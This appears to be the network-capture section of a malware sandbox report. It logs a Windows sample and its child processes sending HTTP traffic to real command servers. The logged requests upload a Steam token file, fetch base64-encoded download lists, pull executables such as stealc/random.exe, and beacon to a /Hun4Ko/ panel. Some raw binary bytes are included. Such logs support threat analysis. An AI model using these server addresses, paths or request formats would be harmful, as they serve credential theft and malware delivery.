Jun 27, 2024 19:26:04.489929914 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 19:26:04.502896070 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="file"------EGDGCGCFHIEHIDGDBAAE--
Jun 27, 2024 19:26:05.221205950 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 19:26:05.249825954 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"jbdtaijovg------HIDHIEGIIIECAKEBFBAA--
Jun 27, 2024 19:26:05.980165005 CEST	331	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:26:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	77.91.77.81	80	6340	C:\Users\user\Desktop\ukuWaeRgPR.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:26:05.989481926 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jun 27, 2024 19:26:06.697005987 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:26:06 GMT Content-Type: application/octet-stream Content-Length: 1940480 Last-Modified: Thu, 27 Jun 2024 17:09:49 GMT Connection: keep-alive ETag: "667d9cdd-1d9c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 30 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELaf0M@`M'[@Xl`MM @.rsrc@.idata @ +@avjczlwa2@sysspafc Mv@.taggant00M"z@
Jun 27, 2024 19:26:06.697087049 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 27, 2024 19:26:06.697103024 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 27, 2024 19:26:06.697118998 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 27, 2024 19:26:06.697134018 CEST	1236	IN	Data Raw: cb 05 d3 86 90 f1 1c 24 3a a1 e9 f0 a8 01 f8 a8 2f 02 74 35 b3 ba 3a 2c 21 89 66 80 ce 05 93 86 50 65 44 1d dd 91 a8 86 38 16 66 b3 b1 f1 f5 85 39 c5 dc 85 5c 14 36 93 b1 51 2c dd 25 85 84 74 60 65 e8 8f ea f0 43 74 70 69 7d be 03 e1 d8 68 c0 a9 Data Ascii: $:/t5:,!fPeD8f9\6Q,%t`eCtpi}hYr5s]H}@,0&= tXOv/s8*30Pa-'0EtuC:%!SeDfs4THhv+],q,}'qXlE]^DW/et;~@D
Jun 27, 2024 19:26:06.697150946 CEST	1236	IN	Data Raw: b4 c7 3a e8 c0 36 6c e9 e4 67 46 34 bb 69 38 70 b0 a5 ff 20 69 ee 8e 67 63 f3 c6 9c fa 5f 78 5c 98 50 02 8f 0a 7d 2f 70 08 89 31 f4 4b e2 05 31 b5 ef 78 ef 8c 37 85 d9 ac 66 1a 35 a6 14 33 24 ff 3e e7 93 69 8b 3c 33 ba 34 a4 2b 62 f7 e6 df a2 5d Data Ascii: :6lgF4i8p igc_x\P}/p1K1x7f53$>i<34+b]..8cbq!+yVt@g'pg;}v/,M}EHmkn@$Ad]n4R>+@lY;i?3n$%3aIhd.,s"glA8
Jun 27, 2024 19:26:06.697168112 CEST	1236	IN	Data Raw: a2 99 80 85 d3 0e 14 47 f2 cb 90 6d 04 6b bc ac a2 dd 0c b1 38 29 fa 34 68 b5 ac cc 6c ab 36 78 e5 f0 74 16 67 e7 aa 48 1a e2 ad 84 e1 65 e4 d9 b6 da 4f 33 b5 02 72 70 88 2f 79 be ff d1 ea 1f e1 ab ff ae 94 8b 02 56 a2 76 cf 91 75 95 20 83 f1 ac Data Ascii: Gmk8)4hl6xtgHeO3rp/yVvu $3Gen9Lt./l"e>'#oIqjUtE3DJ9ilOq/tu ">p7Ee(D,3Q'()rq\Dq4qpxc*9c%!
Jun 27, 2024 19:26:06.697278976 CEST	1236	IN	Data Raw: b0 aa 75 d6 61 03 05 5b 11 fd 69 aa b0 95 2a 36 48 81 07 9e 44 52 04 7c af 7c 9f f6 e6 84 e3 d8 e1 a9 72 70 cb e3 eb e7 81 dd a5 5d 92 1e 28 76 2b 31 2c 25 b2 a3 02 03 2c 74 75 ac 9c 82 2d 2b e7 27 bd 42 50 9a f3 96 57 ed ab 6b 4e e7 0b ed d7 bf Data Ascii: ua[i*6HDR\|\|rp](v+1,%,tu-+'BPWkNr2E4xy ^2v034>emQ,8+T,4"AOZ$4k\|7>y7x} ^w3+0ose{sx8B@gJO!#X+-
Jun 27, 2024 19:26:06.697293997 CEST	1236	IN	Data Raw: 3d b7 31 90 8e 9f c8 14 1f 22 f6 11 79 71 f8 40 47 d6 40 b0 a6 b9 64 20 e0 6e 79 15 f3 cc 27 ce 3d 3b 25 9b a5 4d f0 63 fb b1 e4 2e 29 26 13 01 17 cf 95 87 ee 33 8e 70 74 8f 3a 40 a6 d5 4f 2f 2f 47 98 62 fc 67 6a 27 b7 58 45 74 6a a6 6e ec 71 e9 Data Ascii: =1"yq@G@d ny'=;%Mc.)&3pt:@O//Gbgj'XEtjnqP2~y1t0c$SjV,P*Gst<vHhYGoXbk4ru} \|w[dvCt!"=f,r]dhhn~_:
Jun 27, 2024 19:26:06.697308064 CEST	1236	IN	Data Raw: 05 2e 98 1c a1 f2 68 04 24 da 34 d6 d7 31 c5 aa e1 9f 0c e3 c3 f8 25 ec df 6f 5a 14 0a 91 e9 3e 5a 61 76 fc b8 6c 79 38 3a ee 6f 3d 24 7f 29 a8 e8 8f 86 ea 60 18 ac 29 a2 43 13 f2 ba 94 7f fe 48 51 d1 b6 41 7d 4c 22 e7 0b af 79 ec e7 1b 75 59 6d Data Ascii: .h$41%oZ>Zavly8:o=$)`)CHQA}L"yuYmN$7b21uV\mG$n,)g.]peb3BStl`9m&=h&di8rni_\UwF+Hl1JT}P'F}?rdO/#e
Jun 27, 2024 19:26:06.702574015 CEST	1236	IN	Data Raw: f5 dc e7 a8 38 65 81 6b 3b 21 d7 8a 60 6d 24 20 c4 b8 29 c6 c5 ff 19 8f a3 d1 c0 df 66 cf 1b da c3 31 2f 13 f6 5a 08 b7 71 d8 64 12 aa 84 ef 5a 9f d0 6d 5d 23 47 75 be fe 07 d5 5a 6f 6a 5d 27 af f0 36 2d 7b 05 1a 2b ed a3 60 0e b1 a8 da 4d d5 ad Data Ascii: 8ek;!`m$ )f1/ZqdZm]#GuZoj]'6-{+`Mz0S:ct.u-]qwxQt_QAIQ\JK)':\|04QJnE%wZ'b1l'09ZG8{aVv;<U*uC P;-P$Lto1Av[8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:04.511147022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:05.220752001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:05.221638918 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:05.439846039 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	77.91.77.81	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:05.447443962 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jun 27, 2024 19:27:06.177669048 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:06 GMT Content-Type: application/octet-stream Content-Length: 2462720 Last-Modified: Thu, 27 Jun 2024 15:09:50 GMT Connection: keep-alive ETag: "667d80be-259400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 c8 0a be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 be 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELuf!@ @ @@@0!@@Pp# @y#(@.data`!`!4@
Jun 27, 2024 19:27:06.177690983 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 ad 13 50 10 c7 e2 92 72 8a 70 c4 c5 52 21 19 fc 2f ac 06 84 0a 53 58 d8 Data Ascii: XPrpR!/SXP.OPGZcT/VuwGoNvh{v[}l:t!K7HZbNq"h8XM+},ITp\apD3d[
Jun 27, 2024 19:27:06.177702904 CEST	1236	IN	Data Raw: d1 df c1 a0 0b 48 02 82 6d e0 0d 00 0d 43 32 05 f7 29 2c cf 73 b9 bd 0a 8a 47 33 16 d8 2d a0 04 56 5d be 2b 07 61 21 a1 34 be 61 2b 74 55 61 b6 89 8d 33 45 aa ad b7 26 ef b6 93 5a 7e 77 0d ba 6f 88 4d fa 62 3e 28 75 0e 9c 9f 83 53 20 e2 6a 41 8a Data Ascii: HmC2),sG3-V]+a!4a+tUa3E&Z~woMb>(uS jApCfa%;#:X+u%#66SV1/t^=Le }i*k\|XJ',]:VH,o#iD9e[qWPa]+zfg+2g
Jun 27, 2024 19:27:06.177742958 CEST	1236	IN	Data Raw: 72 cf f1 75 47 d3 c8 da c4 17 bc 22 aa 0d 04 30 23 1c 39 b4 f0 c6 16 53 3b 73 8e ce 29 59 6d b8 4a 6c 77 27 31 5f e8 74 75 6b 76 46 4e cf c6 8a c4 13 50 59 d7 30 8d 6e 61 2d 38 46 2b e9 b8 77 b0 61 e7 fb 55 ef 03 0e f1 08 e1 ad f3 d3 35 a7 59 0a Data Ascii: ruG"0#9S;s)YmJlw'1_tukvFNPY0na-8F+waU5Yz}jQRW8J\|Ns\|r3Cd!6XrGp=F;l+r+Ul,67m(JA_ky;K{xf0R7=p+$m+Bp
Jun 27, 2024 19:27:06.177757025 CEST	896	IN	Data Raw: 19 4a 7a 56 3d c6 b1 98 c9 ef 45 0a 9f 2d d0 df 92 1b 68 c0 ea 85 3b 57 9f 64 61 4e e3 2f c1 1a 47 47 26 ff 40 ae f6 cc de c6 60 35 6b 0e 62 37 a5 86 7b 8a 21 f4 5e 71 13 9f 97 f7 8a a2 e2 94 aa a1 56 27 7b b6 e0 e6 2b f1 a2 55 ab 65 41 56 3b 24 Data Ascii: JzV=E-h;WdaN/GG&@`5kb7{!^qV'{+UeAV;$"69E'_TW'DF>jKgRyx/`0=t&HY`Cp+]Ki(DH~?o'_WJa?[AP;(/v"D#JO\.c%\Q$F
Jun 27, 2024 19:27:06.177769899 CEST	1236	IN	Data Raw: 7f ac 4a 74 06 1f e6 11 23 32 11 77 76 74 f1 ea 9d 2c 2c db 79 9a b5 63 db fa c0 c6 ae 43 1c 17 97 cf f0 df 66 c9 a0 42 c7 10 3d 2e dc 19 5a 59 14 56 6a d4 f8 42 bb 2c af 1a a9 3d 62 d9 04 f6 bf 4d 3c 3e 28 0f d8 3e 07 2a 63 4e d0 7c 01 8e 5c 1a Data Ascii: Jt#2wvt,,ycCfB=.ZYVjB,=bM<>(>*cN\|\_.Pgecj%\|Kg5`2#;qK<@:`>bw3+RScaB7<<o2? #Yc>R:cSrg(D@([_Ef,}hR`'k9 8Z[wo^<
Jun 27, 2024 19:27:06.177783966 CEST	1236	IN	Data Raw: a2 db 52 28 64 59 02 81 c2 69 a4 c2 c9 2d fe 34 83 d5 1b 5a c7 f2 11 64 c8 25 91 55 19 f9 af e4 35 0e 9d cc 6c 0a 8c 1c 16 ab 52 80 d3 e2 5e bb a1 43 a4 9a b8 17 58 e0 cc 82 00 9e 69 89 0b 1d d4 9f f2 b7 5b e5 0f 18 7b f0 92 06 c6 e8 87 ce b7 1d Data Ascii: R(dYi-4Zd%U5lR^CXi[{="rvZ`MfL{oHE,p<$J&5rv11#(\(#K[Y2+7iY:t>uhmAjz{*Cs)#I}U
Jun 27, 2024 19:27:06.177874088 CEST	1236	IN	Data Raw: 25 de 4c dd a5 51 ba be 9e 3e a0 cc f2 d5 99 44 24 1f 3e 07 86 0c b6 f3 55 a7 ff aa 11 8b d4 96 88 27 b4 e8 8c 7d 0d e9 99 d9 ec bf 20 9e a1 d4 3d ab e9 32 01 4b ca 96 e7 d0 45 5b a7 51 8f bc 47 83 9a 74 58 9b 4d b1 27 7e a3 d0 f7 d9 be 22 14 fd Data Ascii: %LQ>D$>U'} =2KE[QGtXM'~"NHCsrjMKVM*0iUf&pS0KaT2u.~+jAeWj]UM_yEF[TOru6n`2(dw0SnRa
Jun 27, 2024 19:27:06.177889109 CEST	1236	IN	Data Raw: 42 dd fa 86 a7 13 11 58 f8 2e e9 95 b5 8a 4f 77 e0 00 dc 3f a5 0a 01 87 1d bd 3c 87 32 88 09 e2 53 b9 6c 3e 73 09 ff 2b 6c de eb 65 76 6c 8f 81 71 50 9d e5 1f 97 0a 07 3c d7 86 56 c7 03 94 94 cf 7e e4 44 83 9e ed ce e2 e7 0d af 30 dc 91 53 fb 0b Data Ascii: BX.Ow?<2Sl>s+levlqP<V~D0Sz"4R<?U1UXE Z5Ae.-*pO$~<a]q-87OUv@t=YVpM7@p~
Jun 27, 2024 19:27:06.177901030 CEST	1236	IN	Data Raw: bc c0 10 56 dd 90 71 ee 7e 64 0f a4 84 bf f8 e8 99 0e 11 32 ab 94 aa 20 61 68 8d 5a a8 44 3f cc eb c8 d2 7f aa e8 89 26 80 d0 87 70 40 61 4a 6d b4 6c e7 1e d5 4e 29 01 6a a9 25 16 74 2e 61 0d 36 6c 9f 44 c6 d9 22 f6 d9 9f 69 e6 eb 8b e3 e4 bb 46 Data Ascii: Vq~d2 ahZD?&p@aJmlN)j%t.a6lD"iFn+l'z_1Sa%RH}(\c:WCm#Rb>P$idX*3h!JZR2`v^G<K0\|50h7mpP_k%0d.\|\R~bX!a
Jun 27, 2024 19:27:06.182681084 CEST	1236	IN	Data Raw: d7 b7 7c 22 ab 1a ec 5d f2 db c0 24 71 4b ae 51 78 96 7f 95 5f 92 76 33 d7 9c 39 37 cf f8 93 68 d5 8f c2 ec 0e 06 fc b4 41 d7 61 5d a5 c5 39 d3 a7 ef 69 c8 8b 69 9e 5c 9c 54 16 5e 67 d2 2c 79 c7 e9 db 16 6d 67 8a df 73 9e fc 0d 1e 55 26 19 63 64 Data Ascii: \|"]$qKQx_v397hAa]9ii\T^g,ymgsU&cdC;E#xUf?L+'#zb=B%0GylUthK9(+%%)=.$IY:rQS DG:Lf AY59!2}Yx}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49722	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:09.032165051 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jun 27, 2024 19:27:09.748622894 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49723	85.28.47.4	80	3448	C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:09.049896955 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 36 30 43 39 36 36 38 33 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"660C966839272029741119------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"default------FIIIIDGHJEBFBGDHDGII--
Jun 27, 2024 19:27:09.682205915 CEST	211	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:27:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49724	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:09.861639977 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
